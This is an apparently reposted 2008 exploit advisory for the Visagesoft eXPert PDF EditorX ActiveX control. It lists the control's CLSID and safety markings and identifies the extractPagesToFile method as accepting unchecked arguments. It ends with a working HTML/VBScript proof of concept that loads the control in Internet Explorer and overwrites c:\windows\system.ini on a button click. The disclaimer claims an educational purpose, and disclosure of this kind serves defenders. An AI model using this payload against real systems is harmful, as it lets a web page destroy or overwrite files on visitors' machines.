|
Visagesoft eXPert PDF EditorX (VSPDFEditorX.ocx) Insecure Method
|
|
来源：marcotorti2[at]yahoo[dot]com 作者：Torti 发布时间：2008-12-06
|
|
VISAGESOFT eXPert PDF EditorX (VSPDFEditorX.ocx) INSECURE METHOD
SITE: http://www.visagesoft.com
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Author: Marco Torti
mail: marcotorti2[at]yahoo[dot]com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
FileVersion: 1.0.200.0
CLSID: {89F968A1-DBAC-4807-9B3C-405A55E4A279}
Description: Visagesoft eXPert PDF EditorX
ProgID: VSPDFEditorX.VSPDFEdit
Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
KillBitSet: False
---Vulnerable method:
---extractPagesToFile(ByVal Filename As String ,ByVal PagesRange As String )
---Vulnerability Description:
The "extractPagesToFile" method doesn't check user supplied arguments so we
can save/overwrite a specified file passed as argument.
Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
<object classid='clsid:89F968A1-DBAC-4807-9B3C-405A55E4A279' id='target'/></object>
<input language=VBScript onclick=launch() type=button value='start'>
<script language='vbscript'>
Sub launch
target.extractPagesToFile "c:\windows\-system.ini","defaultV"
MsgBox"Exploit Completed.. file overwrite!"
End Sub
</script>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
